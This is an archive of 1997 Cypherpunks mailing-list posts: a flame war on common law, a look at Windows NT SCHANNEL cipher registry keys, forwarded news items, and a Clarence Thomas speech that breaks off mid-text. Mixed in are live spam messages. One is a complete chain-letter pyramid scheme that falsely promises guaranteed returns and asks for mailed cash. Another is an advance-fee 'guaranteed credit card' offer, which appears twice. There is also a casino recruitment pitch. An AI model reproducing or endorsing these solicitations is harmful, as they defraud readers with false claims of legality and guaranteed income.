>issues respecting human interaction? You further hold that with 200+
>years of English jurisprudence behind us we have actualy attained that
>nirvana?

I don't know what you are smoking but I said nothing of the sort. You
implied that the break with England was for the purposes of overturning
the entire legal system and that English Common Law has no significance on
the current American legal system. I challenged this as it flies in the
face of fact and reality showing your complete ignorance of law and legal
history.

>In short, you would have us take it all - the good and the bad - and
>ignore our right to pick and choose what works for us?

>If we accept your view, blacks would still be slaves and women would
>still not be able to vote, and men couldn't vote unless they were landed.

Please, this is all irrelevant to the issue at hand. All legal systems
evolve, English Law of today is not word for word the same as it was 200
years ago this is not to say that it's foundations are not built upon it. 

>Do me a favor, please don't try to lick my hand.

You seem to have your anatomy wrong, if anything it would be my foot and
your ass sir.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKf0W49Co1n+aLhhAQG1DQP+PxJJZ/owqnUmPUU5/qD6qWw1vm+KKMAh
c45EQe83UhqkojDzLuwp2fXegPsMzn1hmtt3vlTSXrGiOmxg0e54tLbSaYWoNKoz
XMOLjJ0SKRIftXplV2Pa7yYOlHlGPPKprNZ1zZ+5fEZwoho9WYbtfP8m5xyKb6sg
9bKEpULKVc4=
=cfOM
-----END PGP SIGNATURE-----






From sunder at brainlink.com  Mon Dec 29 11:27:03 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 30 Dec 1997 03:27:03 +0800
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
In-Reply-To: <01BD123E.5965AD70@pdc.mfn.org>
Message-ID: 




Actually, a quick browse through several machines' registry revealed this
key as well in a list of cyphers. 

The bitch lives in:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\Skipjack

Along with shit like the following under Ciphers.

Des40/56
Des56/56
Null
RC2 128/128
RC2 128/40
RC4 128/128
RC4 40/128
RC4 64/128
Skipjack
Tripple DES 168/168

Interestingly all the DES and RC2/RC4's have the same value (0xffffffff)
for the enable key (including TrippleDES).  Skipjack, and RC4 64/128 have
different values (0x30, and 0x3f respectively).  Null has an enable value
of zero. 

Adjacent to the ciphers key, there is a key for hashes listing MD5 and
SHA, next to that is a KeyEXchangealgorithms key listing:
Diffie-Hellman, PKCS, and Fortezza.  All of these except Fortezza use
0xffffffff as the enable value.

The Fortezza and Skipjack keys have the same "Enabled" key values! 
Additionally there is a ServerHandshakeTimeout value on the Fortezza key
of 60000. 

Likely this "enabled" value is a link to some DLL that contains their
code.

There is also a key called Protocols listing: "Multi-Protocol
Unified Hello", PCT 1.0, SSL 2.0, SSL 3.0, TLS 1.0.  All of these have
subkeys of "Client" and "Server" with no values set.

Adjacent to this key, is a key called Certification Authorities, showing
shit like AT&T, GTE, MCI, Keywitness Canada, Thwate, and of course
Verisign.


I've sniffed around schannel.dll and it is what builds or looks for these
registry entries.  It also looks for rsabase.dll and crypto32.dll and
cryptodlg.dll(?).  In schannel.dll there's a string that says: Fortezza
(DSS/SHA).  So SHA is there.

IMHO, From the looks of it, these are just stubbs without any code behind
them since the RSA code contains the RC2/RC4, RSA, etc. code.  (Though I
could be wrong.)


It's not SP3.  I've got two servers with SP3 and IIS3.0with ASP and no
Skipjack keys, so that leaves IE4 or IE3 as possible suspects (or some of
the hotfixes.)  The non-Skipjack entry machines do have all the other
cyphers, so something in ie4 and/or iis4 is what adds them in.
Interestingly enough this entire subkey isn't in Nt5Beta1. :)


> to a Skipjack (ie. fortezza) site.  I doubt you have the code as it is
> classified and available (at this time) only in hardware.  Don't sweat it,
> it looks like it's just a hook or .....

Yep.

Likely what it could be is a hook to a device driver that talks to a PC
Fortezza card or some such.
 
=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================






From ravage at ssz.com  Mon Dec 29 11:57:42 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 03:57:42 +0800
Subject: Abandonment of legal precedence... (fwd)
Message-ID: <199712292017.OAA03296@einstein.ssz.com>



Forwarded message:

> From: "William H. Geiger III" 
> Date: Mon, 29 Dec 97 12:37:28 -0600
> Subject: Re: Abandonment of legal precedence... (fwd)

> I don't know what you are smoking but I said nothing of the sort. You
> implied that the break with England was for the purposes of overturning
> the entire legal system and that English Common Law has no significance on
> the current American legal system. I challenged this as it flies in the
> face of fact and reality showing your complete ignorance of law and legal
> history.

Dude,

Your lack of ability to comprehend english and extrapolate to the fantastic is
truly amazing. You should consider turning it into a money maker. Either
that or you're having a breakdown, see a shrink. Maybe they can do something
about these visions you're seeing.

Happy New Year!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Mon Dec 29 12:09:03 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 04:09:03 +0800
Subject: Reef & the US Postal Service... (fwd)
Message-ID: <199712292028.OAA03361@einstein.ssz.com>



Forwarded message:
>From ravage at ssz.com Mon Dec 29 14:26:57 1997
From: Jim Choate 
Message-Id: <199712292026.OAA03349 at einstein.ssz.com>
Subject: Reef & the US Postal Service...
To: friends at ssz.com (Ravage's Friends)
Date: Mon, 29 Dec 1997 14:26:49 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2281      


Hi,

I was playing with my dog Reef today in the yard. The postal carrier came up
and she went over to investigate, barking as usual. The postal carrier
responded by kicking at her and waving mail in her face all the while
getting closer and closer. This did nothing to calm her down. I tried to talk
to the guy while restraining the dog, who was crouched down on all fours in a
defensive position, but he just walked off without a word. I went down to the
post office and filed a complaint. The supervisor at the post office asked me
whether he had struck the dog and when I explained that had he struck the dog
or tried to mace her I would have struck the carrier and taken him to the
police station, he got defensive and began threatening me with federal action.
I explained that was fine with me, let's do it.

It's amazing that federal employees believe they can come on private property,
vandalize it with immunity, and if you attempt to defend yourself then you
are the one in the wrong.

I can't wait till/if the postal rep calls back on the mail-in complaint form
I sent off today...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From whgiii at invweb.net  Mon Dec 29 12:18:37 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 30 Dec 1997 04:18:37 +0800
Subject: Abandonment of legal precedence... (fwd)
In-Reply-To: <199712292017.OAA03296@einstein.ssz.com>
Message-ID: <199712292014.PAA22361@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712292017.OAA03296 at einstein.ssz.com>, on 12/29/97 
   at 03:17 PM, Jim Choate  said:

>Dude,

>Your lack of ability to comprehend english and extrapolate to the
>fantastic is truly amazing. You should consider turning it into a money
>maker. Either that or you're having a breakdown, see a shrink. Maybe they
>can do something about these visions you're seeing.

Now if that ain't the pot calling the kettle black.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKgDeY9Co1n+aLhhAQEq5QP+NO+Pjvd1pRrvJsueYcdABC63XNbYVkXb
6xA+F+GU9LmnbNAZ4S1m1O7xdDf+fdgzKD87GNGyWqvQCb5fssDhTM1LHz8t/gPq
7A/BwkYlnyXzUhv9YWIlp4bQg/Y+Am6R584QbvMap2cZ6qRfwOK5vlMXCtI5EM8y
Hg9yRA+aJEs=
=9NFS
-----END PGP SIGNATURE-----






From cypherpunks at toad.com  Mon Dec 29 13:04:24 1997
From: cypherpunks at toad.com (cypherpunks at toad.com)
Date: Tue, 30 Dec 1997 05:04:24 +0800
Subject: Searching_for_representatives
Message-ID: <199712292052.MAA11762@toad.com>

Dear Friend!

We are offering an exclusive, unprecedented opportunity to earn money,
and even start your own marketing business in the field of online gambling.

We are a legitimate highly regarded firm, which has now developed a
technologically advanced web product that is a completely unique and 
new introduction to the Internet - the first 3D multi-player on line casino.

We are searching for representatives, who are well connected and have
proven marketing abilities, to cooperate with us in marketing our unique product.

Get more information at : http://www.casino-on.net/market


Best Regards,

Casino On Net
Marketing Department 
CASSAVA ENTERPRISES LTD.


-----------------------------------------------------
This email is for adults only! It concerns you only
if the Internet qambling is legal in your country.
-----------------------------------------------------






From ravage at ssz.com  Mon Dec 29 15:38:25 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 07:38:25 +0800
Subject: Paul.html
Message-ID: <199712292353.RAA03989@einstein.ssz.com>



   
   
   8:00 PM 2/27/1997
   
Too Far

  Rep. Paul's comments about Waco irresponsible
  
   
   
   U.S. Rep. Ron Paul, R-Surfside, said on C-SPAN that he lived in fear
   of being "bombed by the federal government in another Waco." Paul has
   embarrassed himself, his constituents and the state of Texas.
   
   The congressman needs to put aside his hysteria long enough to
   remember the facts of the standoff between federal agents and the
   Branch Davidians:
   
   Members of the cult gunned down federal agents who had come to serve a
   search warrant at the Davidian compound, which they accurately
   believed to contain automatic weapons and other illegal armaments.
   Before that, the group's leader had sexually assaulted several
   children of his followers.
   
   The FBI allowed the group weeks to lay down its arms and surrender.
   Some members and their children did surrender and received every
   consideration from authorities; others set fire to their own building,
   causing the deaths of 81 people, including 25 children.
   
   Paul is wrong to state that the government bombed the Davidians and to
   imply further that Americans should fear that their lives might be
   ended any moment by murderous, renegade federal law enforcement
   officers. His irresponsible remarks encourage the irrational fears
   that were the root cause of the Davidian tragedy and make similar
   confrontations more likely.
   
   Rep. Chet Edwards of Waco perhaps had the best advice for Paul. If the
   congressman really fears he will be bombed by federal agents, he
   should leave Washington.






From brianbr at together.net  Mon Dec 29 16:22:47 1997
From: brianbr at together.net (Brian B. Riley)
Date: Tue, 30 Dec 1997 08:22:47 +0800
Subject: Paul.html
Message-ID: <199712300011.TAA04146@mx01.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/29/97 6:53 PM, Jim Choate (ravage at ssz.com)  passed this wisdom:

>   8:00 PM 2/27/1997
>   
>Too Far
>
>  Rep. Paul's comments about Waco irresponsible
>    
>U.S. Rep. Ron Paul, R-Surfside, said on C-SPAN that he lived in fear
>of being "bombed by the federal government in another Waco." Paul has

 Who wrote this Jim, some of his statemenst don't jive with other
mainstream news accounts of what happened, let alone what really
happened.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNKg8NT7r4fUXwraZAQHeRgf+LR8CjGd8mI0pgkVK5w8tbSsoWr+BOXHI
YZyiiDgGxBwSjII++Dijm6SR2o7BdqnlRZeU0ebkv+powNiDlzB4AIgth9PuNcFk
lQ8nKUrVEbvjj8WneOg953xEQwnJalqpeS7Z7XBd/vTXSbLyk4jFHFPleV5VM3TB
vFcKB+h+UTo7nQRLT6rbItDgtXKb58nfMK7KBPiRk5FqFUDXUMq1vVs7M/3ABEbx
dSEhUdgqnHCfS64m/Mmnc8Y1aDD7gv3q60UWblx51bYMTU0kDgGk6WtuESg+lpN7
dzfW3395X2jTSEaJaX3cLe1LIoOzRTuKmjcgYtEehy858AFbgIx2ag==
=He71
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

 "Journeys are about discovery, about lives touching briefly and then 
parting,
  except on the Internet, where distant lives can intertwine, and where a 
  journey of discovery never has to end." -- 	Jim Heid







From Scott at planet.eon.net  Tue Dec 30 09:14:09 1997
From: Scott at planet.eon.net (Scott at planet.eon.net)
Date: Tue, 30 Dec 1997 09:14:09 -0800 (PST)
Subject: Money Maker
Message-ID: <9578.GAA08056@somewhere.com>


 PRINT this letter, read the directions, THEN READ IT AGAIN !!!

 You are about to embark on the most profitable and unique program you may ever see.
  Many times over, it has demonstrated and proven its ability to generate large amounts of . 
 This program is showing fantastic appeal with a huge and ever-growing on-line population desirous of additional income.
 
 This is a legitimate, LEGAL, money-making opportunity.
 It does not require you to come in contact with people, do any hard work,
 and best of all, you never have to leave the house, except to get the mail and go to the bank!  
 
 This truly is that lucky break you've been waiting for!  Simply follow the easy instructions in this letter, 
and your financial dreams will come true! When followed correctly, this electronic, multi-level marketing program works perfectly...100% EVERY TIME! 
 
 Thousands of people have used this program to:
     -  Raise capital to start their own business
     -  Pay off debts
     -  Buy homes, cars, etc., 
     -  Even retire! 
 
 This is your chance, so don't pass it up!
 
OVERVIEW OF THIS EXTRAORDINARY 
 ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
Basically, this is what we do:
 
 We send thousands of people a product for $5.00 that costs next to nothing to produce and e-mail.
 As with all multi-level businesses, we build our business by recruiting new partners and selling our products.  
Every state in the U.S. allows you to recruit new multi- level business online (via your computer).
 
 The products in this program are a series of four business and financial reports costing $5.00 each.  Each order you receive via "snail mail" will include:
 
   $5.00 cash
   * The name and number of the report they are ordering
   * The e-mail address where you will e-mail them the report they ordered.
 
 To fill each order, you simply e-mail the product to the buyer.  THAT'S IT!  The $5.00 is yours! This is the electronic multi-level marketing business anywhere! 
 
 FOLLOW THE INSTRUCTIONS TO THE LETTER AND
 BE PREPARED TO REAP THE STAGGERING BENEFITS!
 
 >I  N  S  T  R  U  C  T  I  O  N  S
 This is what you MUST do:
 
 1. Order all 4 reports shown on the list below (you can't sell them if you don't order them).
      
      *  For each report, send $5.00 CASH, the NAME & NUMBER OF THE 
         REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
         RETURN POSTAL ADDRESS(in case of a problem) to the person whose 
         name appears on the list next to the report.
   
      *  When you place your order, make sure you order each of the four
         reports.  You will need all four reports so that you can save them
         on your computer and resell them.
 
      *  Within a few days you will receive, via e-mail, each of the four reports. 
          Save them on your computer so they will be accessible for you to send 
          to the 1,000's of people who will order them from you.
 
 2.  IMPORTANT-- DO NOT alter the names of the people who are listed next 
      to each report, or their sequence on the list, in any way other than is
      instructed below in steps "a" through "d" or you will lose out on the
      majority of your profits. Once you  understand the way this works, you'll 
      also see how it doesn't work if you change it. Remember, this method 
      has been tested, and if you alter it, it will not work.
 
     a.  Look below for the listing of available reports.
 
     b.  After you've ordered the four reports, replace the name and address 
          under REPORT #1 with your name and address, moving the one that 
          was there down to REPORT #2.  
 
     c.  Move the name and address that was under REPORT #2 down to 
          REPORT #3.  
 
     d.  Move the name and address that was under REPORT #3 down to 
          REPORT #4.  
 
     e.  The name and address that was under REPORT #4 is removed from
          the list and has NO DOUBT collected their 50 grand.
 
Please make sure you copy everyone's name and address ACCURATELY!!!
>
 3.  Take this entire letter, including the modified list of names, and save 
      it to your computer.  Make NO changes to the instruction portion of this 
      letter.
   
 4.  Now you're ready to start an advertising campaign on the
      WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
      and there are HUNDREDS of FREE places to advertise. Another
      avenue which you could use for advertising is e-mail lists.  
      You can buy these lists for under $20/2,000 addresses or you
      can pay someone a minimal charge to take care of it for you. 
      BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!
 
 5.  For every $5.00 you receive, all you must do is e-mail them the report
      they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE 
      ON ALL ORDERS!  This will guarantee that the e-mail THEY send out,
      with YOUR name and address on it, will be prompt because they can't
      advertise until they receive the report!
 
 AVAILABLE REPORTS
 Order Each REPORT by NUMBER and NAME

 Notes:
 -  ALWAYS SEND $5 CASH FOR EACH REPORT 
 -  ALWAYS SEND YOUR ORDER VIA FIRST CLASS  MAIL 
 -  Make sure the cash is concealed by wrapping it in at least two sheets of paper  
 -  On one of those sheets of paper, include: (a) the number & name of the report you are ordering, (b) your e-mail address, and (c) your postal address.
 _________________________________________________________________
REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 
 
 ORDER REPORT #1 FROM:  
              SGBIS 
              P.O. BOX 1308 
              WILDOMAR, CA. 92595
__________________________________________________________
 REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"<
 
 ORDER REPORT #2 FROM:
             AIK
             10629 Woodbridge Ave. Ste. 104
             Toluca Lake, CA 91602
 _________________________________________________________________
 REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"
 
 ORDER REPORT #3 FROM:
             RCC Enterprises
             24303 Woolsey Cyn. #1
             West Hills, CA 91304
 _________________________________________________________________
REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"
 
 ORDER REPORT #4 FROM:
             CJW Marketing
             5142 Magnolia Blossom Blvd.
             Gahanna, OH 43229
             
 _________________________________________________________________
 HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU MONEY
 

 Let's say you decide to start small just to see how well it works. Assume your goal is to get 10 people to participate on your first level.
 (Placing a lot of FREE ads on the internet will EASILY get a larger response.)
 Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline members.  
Follow this example to achieve the STAGGERING results below.
 
 1st level--your 10 members with $5...........................................$50
 2nd level--10 members from those 10 ($5 x 100)..................$500
 3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
 4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
                                                    THIS TOTALS        ----------->$55,550
 Remember friends, this assumes that the people who participate only recruit 10 people each.
  Think for a moment what would happen if they got 20 people to participate! Most people get 100's of participants THINK ABOUT IT!
 
 Your cost to participate in this is practically nothing (surely you can afford $20).
 You obviously already have an internet connection and e-mail is FREE!!!
REPORT#3 shows you the most productive methods for bulk e-mailing and purchasing e-mail lists.  Some list & bulk e-mail vendors even work on trade!
 About 50,000 new people get online every month!
 
TIPS FOR SUCCESS

  *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow 
      the directions accurately.
 
  *  Send for the four reports IMMEDIATELY so you will have them when 
     the orders start coming in because:
 
     When you receive a $5 order, you MUST send out the requested
     product/report to comply with the U.S. Postal & Lottery Laws, Title
     18,Sections 1302 and 1341 or Title 18,  Section 3005 in the U.S. Code,
     also Code of Federal Regs. vol. 16, Sections 255 and 436, which state 
     that "a product or service must be exchanged for money received."
 
  *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
 
  *  Be patient and persistent with this program. If you follow the 
     instructions exactly, the results WILL undoubtedly be SUCCESSFUL!
 
  *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!
 
YOUR SUCCESS GUIDELINE

 Follow these guidelines to guarantee your success:
 
 If you don't receive 10 to 20 orders for REPORT #1 within two weeks, continue advertising until you do. 
 Then, a couple of weeks later you should receive at least 100 orders fo
r REPORT #2.  If you don't, continue advertising until you do. 
 Once you have received 100 or more orders for
 REPORT #2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in!
 
 THIS IS IMPORTANT TO REMEMBER:
 
 Every time your name is moved down on the list, you are placed in front of a DIFFERENT report. 
 You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you.
  If you want to generate more income, send another batch of e-mails and start the whole process again! 
 There is no limit to the income you will generate from this business!
 
 NOTE:  If you need help with starting a business, registering a business name, 
 how income tax is handled, etc., contact your local office of the Small Business Administration (a Federal agency)
 for free help and answers to questions.
 Also, the Internal Revenue Service offers free help via telephone and free seminars about business taxes.
 







From dm0 at avana.net  Mon Dec 29 17:34:00 1997
From: dm0 at avana.net (David Miller)
Date: Tue, 30 Dec 1997 09:34:00 +0800
Subject: NRA vs. KRA
In-Reply-To: <199712291400.JAA19072@users.invweb.net>
Message-ID: <34A85AF8.3E1FC659@avana.net>



William H. Geiger III wrote:
> 
> In <34A5DCD2.654AC12 at avana.net>, on 12/28/97
>    at 12:00 AM, David Miller  said:
> 
> >Some of these players I would expect to sit at the key recovery table,
> >but why SUN?  Any of you California dudes know what's up with that?
> 
> Government Contracts!!
> 
> Remember the Golden Rule: He who has the gold makes the rules.

Oh, yeah.  Thanks for bringing me back to reality.

Let me share with you something a friend in school once told me:

  "Dave -- if you can't figure something out, the answer's
   probably money."

I can't tell you how much time and trouble that one sentence has saved
me in braincycles over the years...

Sometimes we have to be reminded.

--David Miller

middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.






From schear at lvdi.net  Mon Dec 29 17:35:42 1997
From: schear at lvdi.net (Steve Schear)
Date: Tue, 30 Dec 1997 09:35:42 +0800
Subject: newscolumn1.html
In-Reply-To: <199712291845.NAA15134@yakko.cs.wmich.edu>
Message-ID: 



>     "People in the project run the gamut from those who want to apply
>     taxes responsibly to everyone to those who argue that electronic
>     commerce deserve special consideration, while others say we ought
>     to say it should be treated the same as mail order," he says.

Although there are a few U.S. state decisions regarding taxation of Net commerce, which vary considerably, most critical legal analysis I've read supports the mail order paradigm.  If so, states will be hard put to effectively pressure online merchants into compliance.  Cities are facing a similar bind.

>     
>     There are some similarities -- and some differences -- between mail
>     order and Internet commerce, says tax attorney Harvey Dunn of law
>     firm Schottenstein Zox & Dunn. If a company has some presence in
>     Ohio, say a store or a trucking company, then sales tax could be
>     charged. But an out-of-state mail-order company that ships a
>     product via common carrier doesn't have to charge sales tax.
>     
>     However, buyers should pay a "use tax" on items once they receive
>     them, he says. "But no one does," Dunn says.
>     

No kidding. 

>     
>     The difficulty comes in determining how to collect such a tax, says
>     Julie Carpenter, spokeswoman for the Ohio Department of Taxation.
>     Right now, there's no way for the state to police all the goods
>     that are bought elsewhere but used here.
>     
>     "An Ohio taxpayer's obligation is to pay the tax," she says.
>     "Realistically, is this going to happen? Probably not, without
>     guidelines and some oversight."

Read "tyranny."

>     
>     Online purchases are even murkier because the Net's unique nature
>     allows some products such as music, software or electronic
>     magazines, to be downloaded, Duncan says.
>     
>     While a CD purchased in a store can be taxed, how can a government
>     collect on a few megabytes sent over the Internet?

It can't. Too bad.

>     
>     The electronic commerce project is looking at a billing address
>     approach, Duncan says. If the commerce terminates in a state and is
>     billed to someone in that state, then that state could make a
>     strong case for collecting taxes on the commerce.

However, since a merchant delivering goods electronically doesn't know where his customer physically resides (and why would they want to) the merchant has plausible deniability.  However, this is one more reason government will press for Net drivers licenses.

>     Because of these and other issues, Duncan doesn't expect project
>     members to have a grasp of the issue until sometime next summer.

After this grasp will come the gasp, as they are forceed to admit that without a constitutional amendment allowing states greater control of interstate commerce (an unlikely event) they aren't likely to get their hands on this money.

--Steve







From moneyman at opportunitygroup.com  Tue Dec 30 10:25:55 1997
From: moneyman at opportunitygroup.com (moneyman at opportunitygroup.com)
Date: Tue, 30 Dec 1997 10:25:55 -0800 (PST)
Subject: Where have you been?
Message-ID: <>


Joint Venture Associates has joined hands with one of the Nation's Largest
Credit Institution in an effort to issue 20 Million Unsecured Major Credit Cards.

We have tried to make the process of getting  your unsecured credit card
very simple and painless. You will not be asked to sign up with some network nor will you
be asked to pay a monthly fee for the credit card.

You are guaranteed a credit card even if you have bad credit, bankruptcy,
low income, charge offs, or short time at residency. 

The process is simple. Completely fill out the form below. You have two
options. You can mail or fax your request for your credit card. Include your processing
fee of $9.95 

(U S Dollars Only). 

You can fax a check or send cashiers check or money order. The address is
at the bottom of the processing form. By the way, your application fee is 100%
guaranteed. If you do not receive your credit card, your application fee will be refunded.

Here is what you can expect. All faxed processing forms with faxed checks
will be given immediate attention. When we receive your order form we will send you a
credit card application form to you the very next day that will require your signature.

We are currently receiving hundreds of applications per day. Act now and
you will  have  your credit card within 30 days.


CREDIT CARD PROCESSING FORM    

Last Name_____________________________ First Name__________________ MI____

Address ______________________________________  City______________________

State/Province_____________________________________

Country______________________________________

E-mail _____________________________________________________

Amount of Credit Desired ($5,000 Max) __________________________

How do you rate your credit rating? (  ) Great  (  ) Fair  (  ) Poor

Make all checks, money orders and cashiers checks payable to:Joint Venture
Associates.  If faxing your processing form and processing fee, fax to the following
number (954) 970-3130

If mailing you processing form and processing fee, mail to the following
address:

Joint Venture associates
1291A South Powerline Rd., Suite #101
Pompano Beach, FL 33069


 











From moneyman at opportunitygroup.com  Tue Dec 30 10:25:55 1997
From: moneyman at opportunitygroup.com (moneyman at opportunitygroup.com)
Date: Tue, 30 Dec 1997 10:25:55 -0800 (PST)
Subject: Where have you been?
Message-ID: <>


Joint Venture Associates has joined hands with one of the Nation's Largest
Credit Institution in an effort to issue 20 Million Unsecured Major Credit Cards.

We have tried to make the process of getting  your unsecured credit card
very simple and painless. You will not be asked to sign up with some network nor will you
be asked to pay a monthly fee for the credit card.

You are guaranteed a credit card even if you have bad credit, bankruptcy,
low income, charge offs, or short time at residency. 

The process is simple. Completely fill out the form below. You have two
options. You can mail or fax your request for your credit card. Include your processing
fee of $9.95 

(U S Dollars Only). 

You can fax a check or send cashiers check or money order. The address is
at the bottom of the processing form. By the way, your application fee is 100%
guaranteed. If you do not receive your credit card, your application fee will be refunded.

Here is what you can expect. All faxed processing forms with faxed checks
will be given immediate attention. When we receive your order form we will send you a
credit card application form to you the very next day that will require your signature.

We are currently receiving hundreds of applications per day. Act now and
you will  have  your credit card within 30 days.


CREDIT CARD PROCESSING FORM    

Last Name_____________________________ First Name__________________ MI____

Address ______________________________________  City______________________

State/Province_____________________________________

Country______________________________________

E-mail _____________________________________________________

Amount of Credit Desired ($5,000 Max) __________________________

How do you rate your credit rating? (  ) Great  (  ) Fair  (  ) Poor

Make all checks, money orders and cashiers checks payable to:Joint Venture
Associates.  If faxing your processing form and processing fee, fax to the following
number (954) 970-3130

If mailing you processing form and processing fee, mail to the following
address:

Joint Venture associates
1291A South Powerline Rd., Suite #101
Pompano Beach, FL 33069


 











From ravage at ssz.com  Mon Dec 29 18:30:36 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 10:30:36 +0800
Subject: thomas.html (fwd)
Message-ID: <199712300247.UAA04526@einstein.ssz.com>



Forwarded message:
>From ravage at ssz.com Mon Dec 29 20:38:05 1997
Date: Mon, 29 Dec 1997 20:38:04 -0600
From: Jim Choate 
Message-Id: <199712300238.UAA04509 at einstein.ssz.com>
X-within-URL: http://www.courttv.com/library/rights/thomas.html
To: friends at ssz.com
Subject: thomas.html


    Court TV Library 
   
  Justice Thomas on 'Heroes and Victims'
  
    Legal Times
    
   
   
   Clarence Thomas may keep a lower profile than many of his colleagues
   on the Supreme Court bench. But when he does speak out, he almost
   always makes an impact. That was the case late last month, when Thomas
   made headlines with a speech excoriating what he termed "the modern
   ideology of victimhood."
   
   In his remarks, delivered to the Federalist Society's Ninth Annual
   Lawyers Convention, Thomas criticized contemporary society for
   exalting victims -- in not only the political realm, but in the courts
   as well. He marveled at the breadth and depth of the victim mentality,
   finding irony in the white men today who, "preoccupied with
   oppression," have "fallen prey to the very aspects of the modern
   ideology of victimology that they deplore." And, sounding a classic
   conservative theme, Thomas concluded that "the idea that government
   can be the primary instrument for the elimination of misfortune is a
   fundamental misunderstanding of the human condition."
   
   The full text of Thomas' speech, delivered Sept. 22 in Washington,
   D.C., follows. It is reprinted with permission.
     _________________________________________________________________
   
   
   
   I would like thank my friends here at the Federalist Society for once
   again inviting me to be a part of an important and timely conference.
   And I would like to begin by returning to a topic I touched upon in my
   last speech at a conference co-sponsored by this organization:
   personal responsibility. It says something about the current state of
   affairs in our society that a conference on victims -- that is, a
   conference on the rise of the practice of blaming circumstances for
   one's situation rather than taking responsibility for changing things
   for the better -- is even necessary.
   
   As many of you have heard me say before, the very notion of submitting
   to one's circumstances was unthinkable in the household in which I was
   raised. The mere suggestion that difficult circumstances could prevail
   over individual effort would evoke a response that my brother and I
   could lip-sync on cue: "Old man 'can't' is dead; I helped bury him."
   Or, another favorite response: "Where there is a will, there is a
   way." Under this philosophy -- the essential truth of which we all
   recognize in our hearts -- victims have no refuge.
   
   It may have seemed harsh at the time to be told that failure was one's
   own fault. Indeed, there may have been many circumstances beyond our
   control. But there was much that my family and my community did to
   reinforce this message of self-determination and self-worth, thereby
   inoculating us against the victim plague that was highly contagious in
   the hot, humid climate of segregation.
   
   What has become clear to me over the years, as I have witnessed the
   transformation of our society into one based upon victims rather than
   heroes, is that there is a more positive message to be gained from
   adversity: Success (as well as failure) is the result of one's own
